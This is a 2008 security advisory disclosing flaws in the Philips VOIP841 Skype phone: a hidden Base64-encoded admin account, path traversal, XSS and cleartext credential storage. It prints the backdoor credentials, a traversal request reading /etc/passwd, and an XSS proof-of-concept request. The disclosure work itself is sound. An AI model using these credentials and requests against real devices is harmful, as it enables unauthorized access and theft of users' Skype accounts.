Security Research Advisory

Philips VOIP841

Multiple Vulnerabilities

Table of Contents

Summary

VOIP841 is one of the first DECT cordless phones with an embedded Skype client. Without a computer, it is possible to call directly other Skype users or international numbers using SkypeOut as well as the regular PSTN line. It is important to notice that it is Skype Certified and presented as a best seller on the "Skype Shop" online.

Multiple vulnerabilities have been found in the latest version of this VOIP phone, ranging from a hidden administration account to XSS and directory traversal. Various consequences are associated with these issues, such as theft of Skype authentication credentials stored in the phone and information disclosure.

In order to exploit some vulnerabilities, a regular user should be authenticated. However, using the hidden administration account it is possible to easily bypass this security mechanism.

Date	Details
23/01/2008	Vendor disclosure
n./d.	Vendor acknowledgment
n./d.	Patch release
14/02/2008	Public disclosure

Hidden Administrator Account

<table>
<tr><td colspan="5">Hidden Administrator Account</td><td>Advisory Number</td></tr>
<tr><td colspan="5"></td><td>SN-08-01</td></tr>
<tr><td>Severity</td><td>Software</td><td>Version</td><td>Accessibility</td><td>CVE</td><td>Author(s)</td></tr>
<tr><td rowspan="3">H</td><td>Philips VOIP841</td><td>Firmware v1.0.4.50-1.0.4.80, Web Server v1.5</td><td>Remote</td><td>n/a</td><td rowspan="3">Luca Carettoni</td></tr>
<tr><td colspan="2">Vendor URL</td><td colspan="2">Advisory URL</td></tr>
<tr><td colspan="2">http://www.consumer.philips.com</td><td colspan="2">-</td></tr>
</table>

Vulnerability Details

A default administrator account, used probably for remote assistance, is hidden inside a configuration file. The credential are simply Base64 encoded. Thus, a potential attacker can remotely connect using the discovered account and take control on the device.

Technical Details

Description

The device provides a comfortable web management console, protected with a basic HTML Authentication. The default account is set to "*Philips:voip841*".

Secure Network discovered a hidden administration account which is probably used during technical remote assistance. Within file "*/var/cnxt/service*", there is a BASE64 string "*c2VydmljZTpzZXJ2aWNl*" which represents the account "*service:service*".

Using these credentials it is possible to login into the web administration console with admin privileges. The previous user enables also a hidden tab called *Change MAC Address* where it is possible (as the name implies) to change the hardware address of the network interface.

Path Traversal

<table>
<tr><td colspan="5">Path Traversal</td><td>Advisory Number</td></tr>
<tr><td colspan="5"></td><td>SN-08-01</td></tr>
<tr><td>Severity</td><td>Software</td><td>Version</td><td>Accessibility</td><td>CVE</td><td>Author(s)</td></tr>
<tr><td rowspan="3">H</td><td>Philips VOIP841</td><td>Firmware v1.0.4.50-1.0.4.80, Web Server v1.5</td><td>Remote</td><td>n/a</td><td rowspan="3">Luca Carettoni</td></tr>
<tr><td colspan="2">Vendor URL</td><td colspan="2">Advisory URL</td></tr>
<tr><td colspan="2">http://www.consumer.philips.com</td><td colspan="2">-</td></tr>
</table>

Vulnerability Details

The embedded webserver doesn't sanitize any kind of user input, allowing performing path traversal attacks and recovering sensitive data. Directory listing option is also enabled.

Using the previous account it is possible to browse every directory on the device and to retrieve the content of any file with a simple HTTP request.

Technical Details

Description

Let's see a self explaining example.

HTTP Request:

```
$ telnet 192.168.1.10 80
Trying 192.168.1.10...
Connected to 192.168.1.10.
Escape character is '^]'.
GET /../../../../../../../../etc/passwd HTTP/1.0
Host: 192.168.1.10
Authorization: Basic c2VydmljZTpzZXJ2aWNl
```

HTTP Response:

```
HTTP/1.0 200 OK
Content-type: text/plain
Expires: Sat, 24 May 1980.7:00:00.GMT
Pragma: no-cache
Server: simple httpd 1.0

root:x:0:0:root:/root:/bin/bash
demo:x:5000:100:Demo User:/home/demo:/bin/bash
nobody:x:65534:65534:Nobody:/htdocs:/bin/bash
Connection closed by foreign host.
```

Cross-Site Scripting (XSS)

<table>
<tr><td colspan="5">Cross-Site Scripting (XSS)</td><td>Advisory Number</td></tr>
<tr><td colspan="5"></td><td>SN-08-01</td></tr>
<tr><td>Severity</td><td>Software</td><td>Version</td><td>Accessibility</td><td>CVE</td><td>Author(s)</td></tr>
<tr><td rowspan="3">M</td><td>Philips VOIP841</td><td>Firmware v1.0.4.50-1.0.4.80, Web Server v1.5</td><td>Remote</td><td>n/a</td><td rowspan="3">Luca Carettoni</td></tr>
<tr><td colspan="2">Vendor URL</td><td colspan="2">Advisory URL</td></tr>
<tr><td colspan="2">http://www.consumer.philips.com</td><td colspan="2">-</td></tr>
</table>

Vulnerability Details

Due to the absence of input filters it is possible to inject scripting code inside the 404 standard response page. In this way it is possible to trigger XSS attacks with a simple HTTP request.

Technical Details

Description

A Proof of Concept HTTP request is reported below:

PoC Request:

```
GET /var/htdocs/<script>alert("XSS");</script> HTTP/1.0
Host: 192.168.1.10
```

PoC Response:

```
<html><head><title>404 File Not Found</title></head>
<body>
httpd server: †The requested URL '/var/htdocs/<script>alert("XSS");</script>' was not found on this server.</body></html>
```

Insecure Storage

Insecure Storage					Advisory Number
					SN-08-01
Severity	Software	Version	Accessibility	CVE	Author(s)
M	Philips VOIP841	Firmware v1.0.4.50-1.0.4.80, Web Server v1.5	Local	*n/a*	Luca Carettoni
	Vendor URL		Advisory URL		
	http://www.consumer.philips.com		-		

Vulnerability Details

Browsing the device filesystem, Secure Network has noticed the presence of sensitive information stored in an insecure way. As an example, it was possible to retrieve Skype credentials used by the device and inserted by the user during the configuration process.

Technical Details

Description

In the file "*/var/jffs2/data/save.dat*", the embedded Skype client stores temporary information such as the Skype account (username and password) in clear text.

Another issue is related to the change password procedure for the web management console: every operation done on the web console is logged on a temporary file present in the directory "*/tmp*". When an administrator changes the web authentication password, the old and the new values are revealed into the file "*apply.log*" generated by the cgi-bin called "*apply*".

Apply.log:

```
####### CUT HERE #######
<22:02:11.940000> apply cgi start...
<22:02:11.940000> Content length : 64
<22:02:11.940000> btn_action=admin&edit_pwd1=ikki&edit_pwd2=ikki&rb_defaults=rb_no
<22:02:11.940000> 0 : [btn_action] = [admin]
<22:02:11.940000> 1 : [edit_pwd1] = [ikki]
<22:02:11.940000> 2 : [edit_pwd2] = [ikki]
<22:02:11.940000> 3 : [rb_defaults] = [rb_no]
<22:02:11.940000> Action : [4] admin
<22:02:11.940000> OldUser:philips:voip841
<22:02:11.940000> NewUser:ikki
<22:02:11.940000> Encoded:philips:ikki
###### CUT HERE ######
```

Legal Notices

Secure Network (*www.securenetwork.it*) is an information security company, which provides consulting and training services, and engages in security research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues.

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.

e-mail	info@securenetwork.it
phone	+39 02 917 730 41